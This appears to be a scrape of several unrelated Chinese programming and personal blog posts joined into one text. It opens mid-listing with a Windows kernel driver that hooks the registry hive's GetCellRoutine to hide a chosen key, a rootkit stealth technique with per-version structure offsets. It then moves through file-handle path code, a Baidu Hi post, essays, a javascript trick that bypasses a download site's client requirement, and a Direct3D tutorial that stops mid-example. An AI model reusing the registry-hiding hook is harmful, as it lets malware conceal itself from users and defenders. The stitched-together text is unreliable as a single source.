  118. pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
  119. DbgPrint("g_LastNode = %lx\n", g_LastNode);
  120. // 隐藏的正是最后一个节点,返回空值
  121. if (pRet == g_HideNode) pRet = NULL;
  122. }
  123. // 返回的是先前保存的最后一个节点
  124. else if (pRet == g_LastNode)
  125. {
  126. DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  127. // 清空保存值,并返回空值
  128. pRet = g_LastNode = NULL;
  129. }
  130. }
  131. return pRet;
  132. }
  133. NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
  134. {
  135. DbgPrint("DriverUnload()\n");
  136. // 解除挂钩
  137. if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
  138. return STATUS_SUCCESS;
  139. }
  140. NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
  141. {
  142. ULONG BuildNumber;
  143. ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
  144. ULONG KeyCellOffset; // KeyControlBlock->KeyCell
  145. HANDLE hKey;
  146. PVOID KCB, Hive;
  147. DbgPrint("DriverEntry()\n");
  148. pDrvObj->DriverUnload = DriverUnload;
  149. // 查询BuildNumber
  150. if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
  151. DbgPrint("BuildNumber = %d\n", BuildNumber);
  152. // KeyControlBlock结构各版本略有不同
  153. // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
  154. switch (BuildNumber)
  155. {
  156. case 2195: // Win2000
  157. KeyHiveOffset = 0xc;
  158. KeyCellOffset = 0x10;
  159. break;
  160. case 2600: // WinXP
  161. case 3790: // Win2003
  162. KeyHiveOffset = 0x10;
  163. KeyCellOffset = 0x14;
  164. break;
  165. default:
  166. return STATUS_NOT_SUPPORTED;
  167. }
  168. // 打开需隐藏的键
  169. hKey = OpenKeyByName(g_HideKeyName);
  170. // 获取该键的KeyControlBlock
  171. KCB = GetKeyControlBlock(hKey);
  172. if (KCB)
  173. {
  174. // 由KCB得到Hive
  175. PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
  176. // GetCellRoutine在KCB中,保存原地址
  177. g_ppGetCellRoutine = &Hive->GetCellRoutine;
  178. g_pGetCellRoutine = Hive->GetCellRoutine;
  179. DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
  180. // 获取需隐藏的节点并保存
  181. g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
  182. // 挂钩GetCell例程
  183. Hive->GetCellRoutine = MyGetCellRoutine;
  184. }
  185. ZwClose(hKey);
  186. return STATUS_SUCCESS;
  187. }

从文件句柄获得全路径这个问题,似乎是个“老大难”问题。
很久以前我就在水木清华见到过。最近又不断有人提到。
其实问题并不难,只是解决办法有点绕,不是调用一个API就能解决的。

问题的关键在于,形如”X:”的Dos设备名都是符号链接(SymblicLink),而文件打开后文件对象中保存的是逻辑卷设备名(如”\Device\HarddiskVolumeX”)。前者可以转换成后者,而后者却不能简单地转换成前者。以至于从句柄得到的路径总是“缺少”盘符这一部分。实际上,把所有的”X:”都变成设备名去匹配路径就可以了。

下面是演示代码,很简单,所以就不加注释啦 ^_^

  1. #include <windows.h>
  2. #include <ntsecapi.h>
  3.  
  4. #pragma comment (lib,"ntdll.lib")       // Copy From DDK
  5.  
  6. NTSYSAPI
  7. NTSTATUS
  8. NTAPI
  9. ZwQueryObject(
  10.     IN HANDLE ObjectHandle,
  11.     IN ULONG ObjectInformationClass,
  12.     OUT PVOID ObjectInformation,
  13.     IN ULONG ObjectInformationLength,
  14.     OUT PULONG ReturnLength OPTIONAL
  15.     );
  16.  
  17. BOOL GetPathByHandle(HANDLE hFile, LPWSTR lpBuf, DWORD nBuf)
  18. {
  19.     ULONG m, n;
  20.     WCHAR lpPath[MAX_PATH+4];
  21.     WCHAR lpDrive[MAX_PATH];
  22.     WCHAR lpDevName[MAX_PATH];
  23.     if (ZwQueryObject(hFile, 1, lpPath, MAX_PATH+4, &m) >= 0 &&
  24.         (m = GetLogicalDriveStringsW(MAX_PATH, lpDrive)) && m < MAX_PATH)
  25.     {
  26.         WCHAR *p = lpDrive;
  27.         while (m = wcslen(p))
  28.         {
  29.             p[m-1] = L'\0';
  30.             n = QueryDosDeviceW(p, lpDevName, MAX_PATH);
  31.             if (n && n < MAX_PATH)
  32.             {
  33.                 n = wcslen(lpDevName);
  34.                 if (!wcsnicmp(lpPath+4, lpDevName, n))
  35.                 {
  36.                     wcsncpy(lpBuf, p, nBuf);
  37.                     if (nBuf > 2) wcsncpy(lpBuf+2, lpPath+4+n, nBuf-2);
  38.                     return TRUE;
  39.                 }
  40.             }
  41.             p += m + 1;
  42.         }
  43.     }
  44.     return FALSE;
  45. }
  46.  
  47. void main()
  48. {
  49.     WCHAR buf[MAX_PATH];
  50.     HANDLE hFile = cr&#101;ateFile("C:\\boot.ini", 0, 0, 0, OPEN_EXISTING, 0, 0);
  51.     if (hFile != INVALID_HANDLE_VALUE)
  52.     {
  53.         GetPathByHandle(hFile, buf, MAX_PATH);
  54.         printf("%ws\n", buf);
  55.         CloseHandle(hFile);
  56.     }
  57.     else
  58.     {
  59.         printf("cr&#101;ateFile Failed: %d\n", GetLastError());
  60.     }
  61. }

24号下午百度Hi终于开始了有条件向百度用户开放百度Hi体验。为此,25号重新申请了个百度的账号,跑到百度Hi的官方网站去申请了抢先体验。可是却如石沉大海一般,没有了下文。只得作罢。 但是,始终希望能够体验一下百度Hi与QQ的不同。“贼”心不死,今天跑到百度贴吧的Hi吧去看到有已经申请成功大地人可以发送体验邀请,于是抱着试一试的态度回复了一条消息。结果很快就有了回复,给了我个邀请。这样我的百度Hi账号就被激活啦。这让我兴奋了一下下。 按照百度给的地址下载了百度Hi,马上登录了。和QQ对比了一下,给我最大的感觉就是百度Hi很干净。
2e7c6d31ed3458b95edf0ea4 上图是百度Hi的主窗口
8188fe2e206df7414fc226a5 下图是百度Hi的聊天界面。

那位想要邀请就在这留下baidu id吧.

creative

最近学习新东西,常有浅尝辄止的感觉,不仅理论上没有深入,技术层面上的收获也很难可以心满意足。如何更踏实深入的学些东西是很重要的。通常来说,深入学习常是个不断提出问题、解决问题的过程,MIT的Larson教授就此给出这样三条规则:
1、你一定要觉得你自己的问题有趣而又重要,否则你就不会有激情,不会投入。
2、你一定要有能力解决问题。假如不能完全解决问题,起码你要问自己能够做些什么。
3、除了你自己的肯定,如果还有人也认为你的问题很重要,且这样的人越多越好。

增加相互间的交流是很重要的,有时在讨论中从别人那里得到的灵感,常常是自己冥思苦想无法获得的,也是提升创造力的捷径。HUST的李柱教授在演讲稿里提到一个有趣的创造力公式。C代表Creative Power创造力,K代表Knowledge知识,I代表Information信息,T则是Thinking思考,Q是Quarrel讨论,L是Logic Reasoning逻辑推理,E是Experiments实验,W是Wide Field广博的领域,H则代表Hell地狱。这样看来,创造力就等价于:汇集知识与信息,然后不断思考并反复讨论,再利用逻辑推理和实验在广博的领域里积分的结果。

在找到解决问题的方法和途径中,独立思考能力和快速学习能力至关重要。现在已经不是信息短缺的时代,如何去准确过滤大量冗余信息并提取有效的解答,才可以带来充分的锻炼。就像李政道曾说过的那样,尝试解决那种“连问题也不知道”的课题,才会给予学生最大的锻炼,而锻炼的正是这种独立思考和快速学习能力。在电脑前面坐的时间长了,感觉最需要的还是一张安静的书桌,安心读写书写点东西,心里才会感觉稳当。

回忆往事 Windows® 产品的预发布版本遵循相当标准的过程。首先是 alpha 版本,该版本供内部使用,并有可能与 Windows 产品团队之外的软件开发合作伙伴共享。

alpha 版本之后自然是 beta 版本,该版本将发送给更多用户使用。alpha 和 beta 版本用户之间的主要区别在于:beta 版本的发布对象包括非软件开发人员,例如喜欢测试预发布软件的最终用户,以及希望率先开始评估新 OS 以确定新产品不仅与关键的内部应用程序兼容,而且也与公司网络、标准硬件配置和系统管理工具兼容的公司。

最后,将是候选发布版。顾名思义,候选发布版即最终版本的候选代码版本。换句话说,“如果一切顺利,我们将发布该版本”。如果发现一些严重错误导致此预期无法实现,则会尽快修复该错误,并构建新的候选发布版,然后再次启动测试环节。Windows 95 发布的是其第六个候选发布版。

据我所知,Windows NT® 的员工们也遵守相同的版本命名模式,但他们遇到了一个问题:公司不愿意在 Windows NT 的 beta 版本中测试其关键应用程序。他们的逻辑通常类似于:“为什么要那么麻烦呢?只不过是 beta 版罢了。Beta 版是给那些爱好测试的家伙们准备的。无论如何肯定与最终版不同。如果现在做测试,那只不过是在浪费时间”。

类似地,软件公司也不关注在 Windows NT beta 测试期间发现的问题。“我们不支持 beta 操作系统”,他们会这样回答。

这些公司希望在实际候选发布版完成后再开始认真地进行测试,那时他们将不可避免地发现大量问题。某些问题公司可以自行解决,而其他问题则更加复杂,需要对 Windows NT 与前一版本的操作系统不“完全兼容”的地方进行处理。特定的项目功能可能会在工作时出现少数问题,而且部分此类问题可在很短的时间内解决。但有些问题则非常严重,需要推迟产品发布才可以解决。

这些候选发布版还会得到许多建议。我们曾收到类似这样的反馈:“我们认为如果按照这种方式安排按钮布局,UI 看起来会更好一些”和“如果这条消息换一种说法,我们的员工可能会更清楚地理解其含义”。这些建议如果在 beta 阶段提出,那将是非常好的建议;但是,如果在第一个候选版发布后再提,则此时再更改界面设计就太迟了。因为此时文档和帮助文件均已撰写完毕,产品也已翻译成几十种语言,而且用于手册和产品包装盒的屏幕快照也已经完成布局、转换、分色和印刷等工作。所有这些工作不能因为仅仅移动一个按钮就全部作废,然后再重做。

我回想起在 Windows XP 时代的一次会议上,就曾经为这种最后关头才提出的更改进行过讨论。提议更改要求对一个 20KB 的帮助文件进行修改,以便说明能够与新 UI 相对应。本地化和翻译代表通知我们,在极短的时间限制内重新翻译修改过的帮助文件将花费大量费用。

为消除对 beta 版本不重视的态度,Windows NT 团队求助于“等级扩张”。仍然会有 beta 版本,但最新的 beta 版本在仍有时间(但不多)执行一些微调工作时,将作为候选发布版,而过去的候选发布版则是现在的契约版。术语“契约”很好地传达了版本的真正状态:“该版本现已完成,除非确实遇到紧急情况,否则不要再去修改它”。

Raymond Chen 的网站“The Old New Thing”及同名著作 (Addison-Wesley, 2007) 讲述了 Windows 的发展历程和 Win32 编程。他认为可从中了解自己的风格。

fs2you.com是一个网盘,速度还是可以的,所以很多朋友会将软件或者资料上传到这里面来,但是我们会发现在fs2you.com下载有一些问题,就是有些时候我们下载的时候会要求安装RaySource这个软件。怎么样才能不安装RaySource就可以下载呢?

1、如果是直接下载的情况

如:

那么直接用下载工具下载那个链接就可以了。

2、如果需要安装RaySource的情况

如:

这个时候就要求安装RaySource,我们怎么办呢?

查看网页源代码大家都会吧?浏览器中“查看-源文件”,打开源文件之后,搜索“var url =”,就可以看到实际的下载地址了,然后用迅雷或者快车吧!哈哈。

 

______________________________________________________________________________

当FS2YOU 网页提示你一定要安装他的客户端的时候,如果你不想安装那么在浏览器地址栏里粘贴
javascript:window.setTimeout=null;showDirectDownload()
按下回车,直接下载地址就会出现,当然FS2YOU也不容易,如果你在下载的时候点击几下他的广告也算是对这种服务的支持,祝你好运,

colors.PNG
环境:VS2005
字体:Verdana, 10pt
普通文本背景色:238,239,230 (#E6EFEE)
EditPlus 也可以照此配置。
r_env.png
这个是我的最新字体探索结果:
Consolas 10pt bold + ClearType font 支持(XP, 2003)

这个程序创建并渲染几种不同的能够使用D3DXCreate*函数创建的3D物体。

Uses a left-handed coordinate system to create a mesh containing an axis-aligned box.

HRESULT D3DXCreateBox(
LPDIRECT3DDEVICE9 pDevice,
FLOAT Width,
FLOAT Height,
FLOAT Depth,
LPD3DXMESH * ppMesh,
LPD3DXBUFFER * ppAdjacency
);
Parameters
pDevice
[in] Pointer to an IDirect3DDevice9 interface, representing the device associated with the created box mesh.
Width
[in] Width of the box, along the x-axis.
Height
[in] Height of the box, along the y-axis.
Depth
[in] Depth of the box, along the z-axis.
ppMesh
[out] Address of a pointer to the output shape, an ID3DXMesh interface.
ppAdjacency
[out] Address of a pointer to an ID3DXBuffer interface. When the method returns, this parameter is filled with an array of three DWORDs per face that specify the three neighbors for each face in the mesh. NULL can be specified.
Return Values

If the function succeeds, the return value is D3D_OK. If the function fails, the return value can be one of the following: D3DERR_INVALIDCALL, D3DXERR_INVALIDDATA, E_OUTOFMEMORY.

Remarks

The created box is centered at the origin.

This function creates a mesh with the D3DXMESH_MANAGED creation option and D3DFVF_XYZ | D3DFVF_NORMAL flexible vertex format (FVF).

Uses a left-handed coordinate system to create a mesh containing a cylinder.

HRESULT D3DXCreateCylinder(
LPDIRECT3DDEVICE9 pDevice,
FLOAT Radius1,
FLOAT Radius2,
FLOAT Length,
UINT Slices,
UINT Stacks,
LPD3DXMESH * ppMesh,
LPD3DXBUFFER * ppAdjacency
);
Parameters
pDevice
[in] Pointer to an IDirect3DDevice9 interface, representing the device associated with the created cylinder mesh.
Radius1
[in] Radius at the negative Z end. Value should be greater than or equal to 0.0f.
Radius2
[in] Radius at the positive Z end. Value should be greater than or equal to 0.0f.
Length
[in] Length of the cylinder along the z-axis.
Slices
[in] Number of slices about the main axis.
Stacks
[in] Number of stacks along the main axis.
ppMesh
[out] Address of a pointer to the output shape, an ID3DXMesh interface.
ppAdjacency
[out] Address of a pointer to an ID3DXBuffer interface. When the method returns, this parameter is filled with an array of three DWORDs per face that specify the three neighbors for each face in the mesh. NULL can be specified.
Return Values

If the function succeeds, the return value is D3D_OK. If the function fails, the return value can be one of the following: D3DERR_INVALIDCALL, D3DXERR_INVALIDDATA, E_OUTOFMEMORY.

Remarks

The created cylinder is centered at the origin, and its axis is aligned with the z-axis.

This function creates a mesh with the D3DXMESH_MANAGED creation option and D3DFVF_XYZ | D3DFVF_NORMAL flexible vertex format (FVF).

Uses a left-handed coordinate system to create a mesh containing a torus.

HRESULT D3DXCreateTorus(
LPDIRECT3DDEVICE9 pDevice,
FLOAT InnerRadius,
FLOAT OuterRadius,
UINT Sides,
UINT Rings,
LPD3DXMESH * ppMesh,
LPD3DXBUFFER * ppAdjacency
);
Parameters
pDevice
[in] Pointer to an IDirect3DDevice9 interface, representing the device associated with the created torus mesh.
InnerRadius
[in] Inner-radius of the torus. Value should be greater than or equal to 0.0f.
OuterRadius
[in] Outer-radius of the torus. Value should be greater than or equal to 0.0f.
Sides
[in] Number of sides in a cross-section. Value must be greater than or equal to 3.
Rings
[in] Number of rings making up the torus. Value must be greater than or equal to 3.
ppMesh
[out] Address of a pointer to the output shape, an ID3DXMesh interface.
ppAdjacency
[out] Address of a pointer to an ID3DXBuffer interface. When the method returns, this parameter is filled with an array of three DWORDs per face that specify the three neighbors for each face in the mesh. NULL can be specified.
Return Values

If the function succeeds, the return value is D3D_OK. If the function fails, the return value can be one of the following: D3DERR_INVALIDCALL, D3DXERR_INVALIDDATA, E_OUTOFMEMORY.

Remarks

The created torus is centered at the origin, and its axis is aligned with the z-axis. The inner radius of the torus is the radius of the cross-section (the minor radius), and the outer radius of the torus is the radius of the central hole.

This function returns a mesh that can be used later for drawing or manipulation by the application.

This function creates a mesh with the D3DXMESH_MANAGED creation option and D3DFVF_XYZ | D3DFVF_NORMAL flexible vertex format (FVF).

Uses a left-handed coordinate system to create a mesh containing a sphere.

HRESULT D3DXCreateSphere(
LPDIRECT3DDEVICE9 pDevice,
FLOAT Radius,
UINT Slices,
UINT Stacks,
LPD3DXMESH * ppMesh,
LPD3DXBUFFER * ppAdjacency
);
Parameters
pDevice
[in] Pointer to an IDirect3DDevice9 interface, representing the device associated with the created sphere mesh.
Radius
[in] Radius of the sphere. This value should be greater than or equal to 0.0f.
Slices
[in] Number of slices about the main axis.
Stacks
[in] Number of stacks along the main axis.
ppMesh
[out] Address of a pointer to the output shape, an ID3DXMesh interface.
ppAdjacency
[out] Address of a pointer to an ID3DXBuffer interface. When the method returns, this parameter is filled with an array of three DWORDs per face that specify the three neighbors for each face in the mesh. NULL can be specified.
Return Values

If the function succeeds, the return value is D3D_OK. If the function fails, the return value can be one of the following: D3DERR_INVALIDCALL, D3DXERR_INVALIDDATA, E_OUTOFMEMORY.

Remarks

The created sphere is centered at the origin, and its axis is aligned with the z-axis.

This function creates a mesh with the D3DXMESH_MANAGED creation option and D3DFVF_XYZ | D3DFVF_NORMAL flexible vertex format (FVF).

Builds a matrix using the specified offsets.

D3DXMATRIX * D3DXMatrixTranslation(
D3DXMATRIX * pOut,
FLOAT x,
FLOAT y,
FLOAT z
);
Parameters
pOut
[in, out] Pointer to the D3DXMATRIX structure that is the result of the operation.
x
[in] X-coordinate offset.
y
[in] Y-coordinate offset.
z
[in] Z-coordinate offset.
Return Values

Pointer to a D3DXMATRIX structure that contains a translated transformation matrix.

Remarks

The return value for this function is the same value returned in the pOut parameter. In this way, the D3DXMATRIXTranslation can be used as a parameter for another function.

运行截图:

源程序:

/**************************************************************************************
Renders several D3DX shapes in wireframe mode and has the camera fly around the scene. 
Demonstrates the D3DXCreate* functions, and demonstrates more complex transformations
used to position the objects in the world and move the camera around the world.
**************************************************************************************/
#include "d3dUtility.h"
#pragma warning(disable : 4100)
#define TEAPOT_MESH        0
#define BOX_MESH        1
#define CYLINDER_MESH    2
#define TORUS_MESH        3
#define SPHERE_MESH        4
#define NUM_MESH        5
const int WIDTH  = 640;
const int HEIGHT = 480;
IDirect3DDevice9*    g_d3d_device = NULL;
ID3DXMesh*            g_object_meshes[NUM_MESH];
// world matrices for each object.
// these matrices specify the location of the objects in the world.
D3DXMATRIX g_object_world_matrices[NUM_MESH];
////////////////////////////////////////////////////////////////////////////////////////////////////
bool setup()
{   
// create the teapot geometry
    D3DXCreateTeapot(g_d3d_device, &g_object_meshes[TEAPOT_MESH], NULL);
    D3DXCreateBox(g_d3d_device, 2.0f, 2.0f, 2.0f, &g_object_meshes[BOX_MESH], NULL);
    D3DXCreateCylinder(g_d3d_device, 1.0f, 1.0f, 3.0f, 10, 10, &g_object_meshes[CYLINDER_MESH], NULL);
    D3DXCreateTorus(g_d3d_device, 1.0f, 3.0f, 10, 10, &g_object_meshes[TORUS_MESH], NULL);
    D3DXCreateSphere(g_d3d_device, 1.0f, 10, 10, &g_object_meshes[SPHERE_MESH], NULL);
// Build world matrices - position the objects in world space.
// For example, g_object_world_matrices[1] will position g_object_meshes[1] at (-5, 0, 5).
// Likewise, g_object_world_matrices[2] will position g_object_meshes[2] at (5, 0, -5).
    D3DXMatrixTranslation(&g_object_world_matrices[TEAPOT_MESH],    0.0f, 0.0f, 0.0f);
    D3DXMatrixTranslation(&g_object_world_matrices[BOX_MESH],       -5.0f, 0.0f,  5.0f);
    D3DXMatrixTranslation(&g_object_world_matrices[CYLINDER_MESH],  5.0f, 0.0f,  5.0f);
    D3DXMatrixTranslation(&g_object_world_matrices[TORUS_MESH],       -5.0f, 0.0f, -5.0f);
    D3DXMatrixTranslation(&g_object_world_matrices[SPHERE_MESH],    5.0f, 0.0f, -5.0f);
// set the projection matrix
    D3DXMATRIX proj;
    D3DXMatrixPerspectiveFovLH(&proj, D3DX_PI * 0.5f, (float)WIDTH/HEIGHT, 1.0f, 1000.0f);
    g_d3d_device->SetTransform(D3DTS_PROJECTION, &proj);
// set wireframe mode render state
    g_d3d_device->SetRenderState(D3DRS_FILLMODE, D3DFILL_WIREFRAME);
return true;
}
void cleanup()
{
for(int i = 0; i < NUM_MESH; i++)
        safe_release<ID3DXMesh*>(g_object_meshes[i]);
}
bool display(float time_delta)
{
// Animate the camera:
//
// The camera will circle around the center of the scene.  We use the sin and cos functions
// to generate points on the circle, then scale them by 10 to further the radius. 
// In addition the camera will move up and down as it circles about the scene.
static float angle = (3.0f * D3DX_PI) / 2.0f;
static float camera_height = 0.0f;
static float camera_height_dir = 10.0f;
    D3DXVECTOR3 position(cosf(angle) * 10.0f, camera_height, sinf(angle) * 10.0f);
// the camera is targetted at the origin of the world
    D3DXVECTOR3 target(0.0f, 0.0f, 0.0f);
// the worlds up vector
    D3DXVECTOR3 up(0.0f, 1.0f, 0.0f);
    D3DXMATRIX view_matrix;
    D3DXMatrixLookAtLH(&view_matrix, &position, &target, &up);
    g_d3d_device->SetTransform(D3DTS_VIEW, &view_matrix);
// compute the position for the next frame
    angle += time_delta;
if(angle >= 6.28f)
        angle = 0.0f;
// compute the height of the camera for the next frame
    camera_height += camera_height_dir * time_delta;
if(camera_height >= 20.0f || camera_height <= -20.0f)
        camera_height_dir = -camera_height_dir;
// draw the scene
    g_d3d_device->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0xffffffff, 1.0f, 0);
    g_d3d_device->BeginScene();
for(int i = 0; i < NUM_MESH; i++)
    {
// set the world matrix that positions the object
        g_d3d_device->SetTransform(D3DTS_WORLD, &g_object_world_matrices[i]);
// draw the object using the previously set world matrix
        g_object_meshes[i]->DrawSubset(0);
    }
    g_d3d_device->EndScene();
    g_d3d_device->Present(NULL, NULL, NULL, NULL);
return true;
}
LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM word_param, LPARAM long_param)
{
switch(msg)
    {
case WM_DESTROY:
        PostQuitMessage(0);
break;
case WM_KEYDOWN:
if(word_param == VK_ESCAPE)
            DestroyWindow(hwnd);
break;
    }
return DefWindowProc(hwnd, msg, word_param, long_param);
}
int WINAPI WinMain(HINSTANCE inst, HINSTANCE, PSTR cmd_line, int cmd_show)
{
if(! init_d3d(inst, WIDTH, HEIGHT, true, D3DDEVTYPE_HAL, &g_d3d_device))
    {
        MessageBox(NULL, "init_d3d() - failed.", 0, MB_OK);
return 0;
    }
if(! setup())
    {
        MessageBox(NULL, "Steup() - failed.", 0, MB_OK);
return 0;
    }
    enter_msg_loop(display);
    cleanup();
    g_d3d_device->Release();
return 0;
}

下载源程序

3.2 渲染状态

Direct3D提供了多种渲染状态,它影响几何物体怎样被渲染。渲染状态有默认值,因此假如你的应用程序需要不同于默认设置的渲染时,你仅仅改变它即可。一种渲染效果会一直起作用,直到你下一次改变渲染状态为止。为了设置一个渲染状态,我们使用下面的方法:

Sets a single device render-state parameter.

HRESULT SetRenderState(
D3DRENDERSTATETYPE State,
DWORD Value
);
Parameters
State
[in] Device state variable that is being modified. This parameter can be any member of the D3DRENDERSTATETYPE enumerated type.
Value
[in] New value for the device render state to be set. The meaning of this parameter is dependent on the value specified for State. For example, if State were D3DRS_SHADEMODE, the second parameter would be one member of the D3DSHADEMODE enumerated type.
Return Values

If the method succeeds, the return value is D3D_OK. D3DERR_INVALIDCALL is returned if one of the arguments is invalid.

例如,在下面的例子中我们将使用线框模式渲染我们的物体。因此,我们设置如下的渲染状态:

_device->SetRenderState(D3DRS_FILLMODE, D3DFILL_WIREFRAME);

注意:查看DirectX SDK中关于D3DRENDERSTATETYPE的信息。其中详细介绍了所有的渲染状态。

3.3 绘制准备

一旦我们创建好一个顶点缓存以及一个索引缓存(可选的)后,我们就为渲染其中的内容准备得差不多了,但是在渲染前我们还有3个步骤必须先做。

1、 设置资源流。设置资源流与一个顶点缓存挂钩,此流就是一个流入渲染管线的几何信息的流。

下面的方法是用于设置一个资源流:

HRESULT IDirect3DDevice9::SetStreamSource(

       UINT StreamNumber,

       IDirect3DVertexBuffer9* pStreamData,

       UINT OffsetInBytes,

       UINT Stride

);

StreamNumber——确定我们的顶点缓存与哪一个资源流挂钩。我们不使用多重流;因此我们总是使用0号流。

pStreamData——一个指向我们想与流挂钩的那个顶点缓存的指针。

OffsetInBytes——相对流开始处的偏移量。以字节为单位,它指定被填入渲染管线的顶点数据的开始位置。通过检查D3DCAPS9结构中的D3DDEVCAPS2_STREAMOFFSET标志,假如你的设备支持,那么这个参数就有一些非0值。

Stride——我们在顶点缓存中操作的每个部分的流的字节大小。

例如,假设vb是一个已经填充了顶点信息的顶点缓存:

_device->SetStreamSource( 0, vb, 0, sizeof( Vertex ) );

2、 设置索引缓存。假如我们使用了索引缓存,我们必须设置后面要用于绘制操作的索引缓存。每次我们只能使用一个索引缓存;因此假如你需要用一个不同的索引缓存绘制一个物体时,你必须转换到另一个上。下面的代码设置一个索引缓存:

_device->SetIndices( _ib ); // 传递一个索引缓存指针的拷贝

3.4用顶点/索引缓存绘制

在我们创建好顶点/索引缓存以及做好准备工作以后,我们就能绘制我们的几何物体了。这是通过使用DrawPrimitive或者DrawIndexedPrimitive传送几何信息到达渲染管线。这些方法从顶点流中获得顶点信息以及从索引缓存中获得索引信息。

3.4.1 IDirect3DDevice9::DrawPrimitive

这个方法不使用索引信息绘制图元。

HRESULT IDirect3DDevice9::DrawPrimitive(

       D3DPRIMITIVETYPE PrimitiveType,

       UINT StartVertex,

       UINT PrimitiveCount

);

PrimitiveType——我们绘制的图元类型。比如,我们能绘制点和线以及三角形。以后我们使用三角形,用D3DPT_TRIANGLELIST参数。

StartVertex——索引到在顶点流中的一个元素。设置渲染顶点中的开始点。这个参数给予我们一定的机动性,可以绘制一个顶点缓存中的某部分。

PrimitiveCount——绘制图元的个数。

例子:

// 绘制4个三角形

_device->DrawPrimitive( D3DPT_TRIANGLELIST, 0, 4);

Renders a sequence of nonindexed, geometric primitives of the specified type from the current set of data input streams.

HRESULT DrawPrimitive(
D3DPRIMITIVETYPE PrimitiveType,
UINT StartVertex,
UINT PrimitiveCount
);
Parameters
PrimitiveType
[in] Member of the D3DPRIMITIVETYPE enumerated type, describing the type of primitive to render.
StartVertex
[in] Index of the first vertex to load. Beginning at StartVertex the correct number of vertices will be read out of the vertex buffer.
PrimitiveCount
[in] Number of primitives to render. The maximum number of primitives allowed is determined by checking the MaxPrimitiveCount member of the D3DCAPS9 structure. PrimitiveCount is the number of primitives as determined by the primitive type. If it is a line list, each primitive has two vertices. If it is a triangle list, each primitive has three vertices.
Return Values

If the method succeeds, the return value is D3D_OK. If the method fails, the return value can be D3DERR_INVALIDCALL.

Remarks

When converting a legacy application to Direct3D 9, you must add a call to either IDirect3DDevice9::SetFVF to use the fixed function pipeline, or IDirect3DDevice9::SetVertexDeclaration to use a vertex shader before you make any Draw calls.

Defines the primitives supported by Direct3D.

typedef enum D3DPRIMITIVETYPE
{
D3DPT_POINTLIST = 1,
D3DPT_LINELIST = 2,
D3DPT_LINESTRIP = 3,
D3DPT_TRIANGLELIST = 4,
D3DPT_TRIANGLESTRIP = 5,
D3DPT_TRIANGLEFAN = 6,
D3DPT_FORCE_DWORD = 0x7fffffff,
} D3DPRIMITIVETYPE, *LPD3DPRIMITIVETYPE;
Constants
D3DPT_POINTLIST
Renders the vertices as a collection of isolated points. This value is unsupported for indexed primitives.
D3DPT_LINELIST
Renders the vertices as a list of isolated straight line segments.
D3DPT_LINESTRIP
Renders the vertices as a single polyline.
D3DPT_TRIANGLELIST

Renders the specified vertices as a sequence of isolated triangles. Each group of three vertices defines a separate triangle.

Back-face culling is affected by the current winding-order render state.

D3DPT_TRIANGLESTRIP
Renders the vertices as a triangle strip. The backface-culling flag is automatically flipped on even-numbered triangles.
D3DPT_TRIANGLEFAN
Renders the vertices as a triangle fan.
D3DPT_FORCE_DWORD
Forces this enumeration to compile to 32 bits in size. Without this value, some compilers would allow this enumeration to compile to a size other than 32 bits. This value is not used.
Remarks

Using Triangle Strips (Direct3D 9) or Triangle Fans (Direct3D 9) is often more efficient than using triangle lists because fewer vertices are duplicated.

3.4.2 IDirect3DDevice9::DrawIndexedPrimitive

这个方法使用索引信息来绘制图元。

HRESULT IDirect3DDevice9::DrawIndexedPrimitive(

       D3DPRIMITIVETYPE Type,

       INT BaseVertexIndex,

       UINT MinIndex,

       UINT NumVertices,

       UINT StartIndex,

       UINT PrimitiveCount

);

Type——我们绘制的图元类型。比如,我们能绘制点和线以及三角形。以后我们使用三角形,用D3DPT_TRIANGLELIST参数。

BaseVertexIndex——一个基本数字,在调用中用它去加上索引。参看下面的说明。

MinIndex——将被引用的最小索引值。

NumVertices——在此调用中将被引用的顶点数。

StartIndex——索引到索引缓存中的某个位置,它标记开始渲染的开始索引点。

PrimitiveCount——绘制图元的个数。

例子:

_device->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 0, 8, 0, 12);

注意:BaseVertexIndex参数需要一些特别的解释。在解释过程中将会用到的图3.2。

在索引缓存中定位顶点相应的也就在顶点缓存中定位了。然而,假设我们想将球,盒子,圆柱体的顶点放置到一个公共的顶点缓存中。对于每一个物体,我们将不得不再计算在公共顶点缓存中的索引。这个新的索引值是通过与一个偏移量相加得到。注意这个偏移量是标准的顶点,而不是字节。

       我们需要计算物体在公共顶点缓存中的索引值。Direct3D允许我们通过设置BaseVertexIndex参数得到一个顶点偏移量,随后Direct3D就能利用顶点自身的索引重新计算新的索引。

3.4.3 开始/结束场景

最后一点就是所有绘制方法都必须在IDirect3DDevice9::BeginScene和IDirect3DDevice9::EndScene方法之间被调用。例如,我们将这样写:

_device->BeginScene();

// 绘制场景

_device->DrawPrimitive(...);

_device->EndScene();

3.5 D3DX几何物体

通过在代码中建造每个三角形来建造3D物体是一件非常枯燥的事。幸运的是,D3DX库已经为我们提供了一些方法来产生简单3D物体的网格数据。

D3DX库提供如下6种网格生成函数。

D3DXCreateBox

D3DXCreateSphere

D3DXCreateCylinder

D3DXCreateTeapot

D3DXCreatePolygon

D3DXCreateTorus

这6种函数的使用都很类似,并且使用D3DX网格数据结构ID3DXMesh就象使用ID3DXBuffer接口一样。现在,我们忽视它们的详细信息,只需简单使用它们即可。

HRESULT D3DXCreateTeapot(

       LPDIRECT3DDEVICE9 pDevice, // 与mesh关联的设备

       LPD3DXMESH* ppMesh, // 返回的mesh

       LPD3DXBUFFER* ppAdjacency // 现在设成0

);

一个使用D3DXCreateTeapot函数的例子:

ID3DXMesh* mesh = 0;

